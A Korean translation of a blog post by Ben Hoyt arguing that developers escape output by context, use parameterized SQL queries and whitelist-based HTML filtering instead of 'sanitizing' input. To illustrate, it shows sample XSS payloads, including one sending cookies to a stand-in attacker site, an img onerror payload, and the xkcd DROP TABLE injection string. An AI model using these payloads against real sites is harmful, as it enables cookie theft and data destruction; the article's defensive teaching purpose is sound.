입력을 소독하려 하지 마라. 출력을 이스케이프하라.
원문은 Ben Hoyt님이 에 게재했습니다. 이 블로그 구독하기
가끔 개발자들은 크로스 사이트 스크립팅 공격을 막기 위해 “사용자 입력을 소독(sanitize)한다”고 말한다. 의도는 좋지만 잘못된 안도감을 줄 뿐이며, 때로는 멀쩡한 입력값을 망가뜨리기도 한다.
크로스 사이트 스크립팅은 어떻게 일어나는가?
사용자가 입력한 정보를 사이트가 페이지의 HTML에 그대로 돌려 보여준다면, 그 웹사이트는 크로스 사이트 스크립팅(XSS) 공격에 취약하다. 이로 인해 페이지 레이아웃을 깨뜨리는 HTML 같은 사소한 문제가 생길 수도 있고, 사용자의 로그인 쿠키를 공격자 사이트로 전송하는 JavaScript 같은 심각한 문제가 생길 수도 있다.
구체적인 예를 살펴보자:
- NaiveSite에서는 이름을 입력하면 프로필 페이지에 그대로 출력된다.
- Billy the Kid는 자신의 이름을
Billy <script>alert('Hello Bob!')</script>라고 입력한다. - Billy의 프로필 페이지를 방문하는 사람은 이스케이프되지 않은
script태그가 포함된 HTML을 받게 되고, 브라우저는 이를 실행한다. - 만약
alert()부분을sendCookies('https://billy.com/cookie-monster')같은 더 악의적인 코드로 바꾼다면, Billy는 이제 의심 없는 방문자의 로그인 정보를 수집할 수 있게 된다.
참고로 실제는 이렇게 단순하지 않다. 로그인 쿠키는 보통 HttpOnly로 표시되어 JavaScript에서 접근할 수 없기 때문이다. 하지만 여기는 NaiveSite이니, XSS 실수와 쿠키 실수를 둘 다 저질렀을 가능성이 크다.
왜 입력 필터링은 그다지 좋은 생각이 아닌가
개발자는 “입력 필터링”이나 “입력 소독”에 대해 들어본 적이 있어서, 저장하기 전에 이름에서 안전하지 않은 HTML 문자 <>&를 제거하는 코드를 작성한다. 문제 해결!
하지만 여기에는 두 가지 문제가 있다. 하나는, 어떤 부부가 Bob & Jane Smith라는 이름으로 NaiveSite에 가입했는데 필터링 코드가 &를 제거해 버리면, 갑자기 Bob은 혼자가 되고 가운데 이름이 Jane이 되어 버리는 경우다.
혹은 필터가 좀 더 과격해서 '와 "까지 제거한다면, Bill O’Brien 같은 사람은 Bill OBrien이 된다. 사람 이름을 망치는 것은 좋은 인상을 주지 못한다.
아마 더 중요한 것은, 이것이 잘못된 안전감을 준다는 점이다. “안전하지 않다”는 게 무슨 뜻인가? 어떤 맥락에서? 물론 <>&는 HTML에서는 안전하지 않은 문자지만, CSS나 JSON, SQL, 심지어 셸 스크립트에서는 어떨까? 그런 환경에서는 안전하지 않은 문자의 집합이 완전히 다르다.
예를 들어 NaiveSite에 다음과 같은 PHP 템플릿이 있다고 해보자:
<html>
...
<script>
var name = "<?=$name?>";
</script>공격자가 자신의 이름을 "; badFunc(); "처럼 큰따옴표가 포함된 이름으로 설정하면, 사용자 이름을 표시하는 모든 NaiveSite 페이지(로그인한 상태라면 아마 모든 페이지일 것이다)에서 임의의 JavaScript를 실행시킬 수 있다.
이런 종류의 또 다른 예는 SQL 인젝션으로, 크로스 사이트 스크립팅과 밀접하게 관련된 공격이다. NaiveSite는 MySQL로 구동되며, 다음과 같은 방식으로 사용자를 찾는다:
$query = "SELECT * FROM users WHERE name = '{$name}'"그런데 Robert'); DROP TABLE users;라는 소년이 나타나면 NaiveSite의 전체 사용자 데이터베이스가 삭제된다. 이런!
덧붙이자면 xkcd 만화에서 엄마는 “데이터베이스 입력을 소독하는 법을 배웠길 바란다”라고 말한다. 다소 혼란스러운 표현이지만, Randall이 “데이터베이스 파라미터를 이스케이프하라”고 말하려던 것이라고 너그럽게 이해해 주자.
요컨대, “위험한 문자”를 제거하는 것은 소용이 없다. 어떤 문자는 어떤 맥락에서는 위험하지만 다른 맥락에서는 전혀 안전하기 때문이다.
대신 출력을 이스케이프하라
어떤 문자가 위험한지 아는 코드는 특정 맥락에서 출력하는 코드뿐이다.
그러므로 더 나은 접근법은 사용자가 입력한 이름을 그대로 저장한 뒤, 템플릿 시스템이 HTML을 출력할 때는 HTML 이스케이프를, JSON이나 JavaScript를 출력할 때는 JSON을 올바르게 이스케이프하도록 하는 것이다.
그리고 물론 SQL을 만들 때는 SQL 엔진이 제공하는 파라미터화된 쿼리 기능을 사용해 변수를 올바르게 이스케이프해야 한다:
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);이를 흔히 “문맥에 따른 이스케이프(contextual escaping)”라고 한다. Go의 html/template 패키지를 사용한다면 HTML, CSS, JavaScript에 대해 자동으로 문맥에 따른 이스케이프를 얻을 수 있다. 대부분의 다른 템플릿 시스템도 최소한 자동 HTML 이스케이프는 제공한다. 예를 들어 React, Jinja2, Rails 템플릿이 그렇다.
하지만 원시 입력을 그대로 쓰고 싶다면?
한 가지 까다로운 상황은 애플리케이션 자체가 사용자가 HTML이나 Markdown을 입력해 화면에 표시하도록 하는 경우다. 이 경우 출력할 때 이스케이프할 수 없다. 사용자에게 링크, 이미지, 제목 등을 추가하도록 허용하는 것이 목적 자체이기 때문이다.
그래서 다른 접근법을 써야 한다. Markdown을 사용한다면 두 가지 중 하나를 선택할 수 있다:
- 순수 Markdown만 입력하도록 허용하고 렌더링 시 이를 HTML로 변환한다(많은 Markdown 라이브러리는 기본적으로 원시 HTML을 허용하므로 반드시 비활성화해야 한다). 가장 안전한 방법이지만 제약도 더 많다.
- Markdown 안에서 HTML 사용을 허용하되,
<a href="...">나<img src="...">같은 허용된 태그와 속성만 화이트리스트로 허용한다. Stack Exchange와 GitHub 모두 이 두 번째 접근법을 사용한다.
Markdown을 사용하지 않고 사용자가 직접 HTML을 입력하도록 하려면 두 번째 방법밖에 없다. 화이트리스트를 이용해 필터링해야 한다. 생각보다 제대로 하기가 어렵다(예를 들어 <img src="x" onerror="badFunc()"> 같은 경우). 그러니 반드시 DOMPurify 같은 성숙하고 보안 검증된 라이브러리를 사용해야 한다.
따라서 원시 사용자 입력을 그대로 “출력(echo)”해야 하는 경우에는, 제한적인 화이트리스트를 기준으로 입력을 신중하게 필터링한 뒤 그 결과를 데이터베이스에 저장해야 한다. 그리고 출력할 때는 이스케이프하지 않고 저장된 그대로 출력한다.
SQL 인젝션에 대한 유사한 사례로는 사용자가 임의의 SQL 쿼리를 입력할 수 있는 데이터 차트 도구를 만드는 경우를 들 수 있다. SELECT 쿼리는 허용하되 데이터 변경 쿼리는 허용하고 싶지 않을 수 있다. 이런 경우에는 제대로 된 SQL 파서(이런 파서)를 사용해 올바른 형태의 SELECT 쿼리인지 확인하는 것이 가장 좋다. 하지만 이를 올바르게 구현하는 것은 결코 간단하지 않으므로 반드시 보안 검토를 받아야 한다.
그렇다면 유효성 검사는 어떨까?
입력 소독은 보통 나쁜 생각이지만 입력 유효성 검사는 좋은 것이다.
예를 들어 폼 필드를 파싱할 때 숫자가 아닌 값이 숫자 필드에 들어오거나, @가 없는 이메일 주소가 들어오거나, “게시물 상태” 드롭다운이 draft, published, archived 중 하나여야 하는데 다른 값이 들어오는 경우라면, 당연히 유효성을 검사하고 유효하지 않으면 오류를 반환해야 한다.
좋은 웹 폼 유효성 검사는 오류를 인라인으로 표시해 사용자가 정확히 무엇을 고쳐야 하는지 알 수 있게 한다:

유효성 검사는 최소한 백엔드에서 반드시 수행해야 한다. 그렇지 않으면 공격자가 프론트엔드 유효성 검사를 우회해 POST로 엉터리 데이터를 엔드포인트에 직접 전송할 수 있기 때문이다. 또한 서버까지 왕복하지 않고도 오류를 더 실시간으로 보여주기 위해 프론트엔드에서도 미리 유효성 검사를 수행할 수 있다.
더 읽어보기
OWASP는 이스케이프에 대한 많은 추가 정보를 담은 크로스 사이트 스크립팅 방지와 SQL 인젝션 방지 치트 시트를 제공한다.
또한 StackOverflow에는 “PHP에서 사용자 입력을 어떻게 소독할 수 있을까?”에 대한 답변이 있는데, 다소 PHP에 특화되어 있지만 간결하고 유용하다고 느꼈다. 이 답변은 PHP 매직 쿼트(magic quotes)에 대한 페이지로 연결되며, 이는 나쁜 아이디어였고 실제로 PHP 5.4에서 제거되었다. 그곳의 논의는 내가 위에 쓴 내용과 궤를 같이한다.
이 글에 대한 피드백이 있다면 언제든 연락해 주시길 바란다! 혹은 Hacker News와 프로그래밍 레딧의 댓글을 참고해도 좋다.
글을 무작위로 읽기
댓글
로그인하고 댓글 남기기